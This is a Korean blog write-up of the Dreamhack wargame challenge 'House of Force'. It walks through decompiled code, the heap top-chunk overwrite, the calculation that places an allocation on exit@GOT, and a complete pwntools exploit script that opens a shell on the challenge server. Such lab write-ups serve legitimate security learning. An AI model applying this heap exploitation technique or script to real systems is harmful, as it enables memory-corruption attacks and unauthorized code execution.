상세 컨텐츠

본문 제목

[Dreamhack] House of Force

SYSTEM HACKING/Dreamhack

by koharin 2020. 6. 13. 00:38

본문

728x90
반응형

보호기법 확인


1번 메뉴: create

signed int __cdecl create(signed int a1)
{
  size_t size; // [esp+0h] [ebp-8h]
  unsigned int v3; // [esp+4h] [ebp-4h]

  v3 = __readgsdword(0x14u);
  if ( a1 > 10 )
    return 0;
  printf("Size: ");
  __isoc99_scanf("%d", &size);
  ptr[a1] = malloc(size);
  if ( !ptr[a1] )
    return -1;
  printf("Data: ");
  read(0, ptr[a1], size);
  printf("%p: %s\n", ptr[a1], ptr[a1]);
  return 0;
}

- size 입력

- 입력한 size 만큼 청크 할당해서 힙 포인터를 전역변수 ptr에 저장

- 할당한 힙 청크에 데이터 입력

- 힙 주소 출력

 

2번 메뉴: write_ptr

signed int write_ptr()
{
  int v1; // [esp+0h] [ebp-10h]
  int v2; // [esp+4h] [ebp-Ch]
  int v3; // [esp+8h] [ebp-8h]
  unsigned int v4; // [esp+Ch] [ebp-4h]

  v4 = __readgsdword(0x14u);
  printf("ptr idx: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 10 || v1 < 0 )
    return -1;
  printf("write idx: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 100 || v2 < 0 )
    return -1;
  printf("value: ");
  __isoc99_scanf("%u", &v3);
  *((_DWORD *)ptr[v1] + v2) = v3;
  return 0;
}

- 힙 포인터로부터 인덱스만큼 떨어진 곳에 value를 입력할 수 있다.

- 따라서 힙 청크 한 개 할당 후 2번 메뉴에서 topchunk size까지 거리를 계산해서 topchunk size를 2^32-1로 조작할 수 있다.


익스 시나리오

 

(1) 청크 할당

- 출력해준 힙 주소로 topchunk 주소 계산 (이후 malloc size 계산 위해 필요하다.)

 

(2) 2번 메뉴에서 청크에서 topchunk까지 인덱스 계산해서 topchunk size에 2^32-1 값 입력한다.

ptr idx: 0

idx: 5

value: 0xffffffff

topchunk size가 덮힌 것을 확인할 수 있다.

 

(3) malloc size = 2^32-1 & (원하는 주소 - topchunk 주소 - 0x8)

- 주소 계산 후 32비트에서는 2^32-1와 & 계산을 안 해도 된다. (64비트는 2^64-1과 & 계산 필요)

- 1번 메뉴에서 계산한 malloc size만큼 청크 할당한다. 32bit는 계산 시 0x10이 아닌 0x8(메타데이터(prev_size, size))을 뺀다. 

- 이후 원하는 주소에서 청크를 할당할 수 있다.

- 원하는 주소: exit@got

할당 후 got 부분에서 힙 청크가 할당되어 있는 것을 확인할 수 있다.

 

(4) 한번 더 할당

- exit got에서 할당받는다.

- 이때 데이터로 get_shell 함수 주소를 주면 got overwrite이 가능하다.

 

계속 exit 위치는 잘 안 돼서...그냥 malloc 위치에 데이터를 입력받을 수 있을 때 get shell로 덮기로 했다.

 

(5) 1번 메뉴 size까지 주면 쉘 획득

익스코드

#!/usr/bin/python                                                                     
from pwn import *

context.log_level = 'debug'
p = remote("host1.dreamhack.games", 8251)
#p = process("./house_of_force")
elf = ELF("./house_of_force")
ptr = elf.symbols['ptr']
get_shell = elf.symbols['get_shell']
exit_got = elf.got['exit']

def create(size, data):
    p.sendlineafter("> ", '1')
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", data)

def write(ptr_idx, idx, value):
    p.sendlineafter("> ", '2')
    p.sendlineafter("ptr idx: ", str(ptr_idx))
    p.sendlineafter("write idx: ", str(idx))
    p.sendlineafter("value: ", str(value))

create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
log.info("heap_addr: "+hex(heap_addr))
topchunk_size_addr = heap_addr+20
log.info("topchunk_size_addr: "+hex(topchunk_size_addr))

# overwrite topchunk size to 2^32-1
write(0, 5, 0xffffffff)

malloc_size = exit_got - topchunk_size_addr-0x8-0x4-0x4-0x4
create(malloc_size, "")

# malloc on exit@got, GOT overwrite
#gdb.attach(p)
create(4, p32(get_shell))
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(0x8))

p.interactive()

 

 

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_heap_overflow  (0) 2020.07.08
[Dreamhack] memory_leakage  (0) 2020.07.08
[Dreamhack] tcache dup  (0) 2020.06.12
[Dreamhack] house_of_spirit  (0) 2020.06.12
[DreamHack] hook  (0) 2020.05.31

관련글 더보기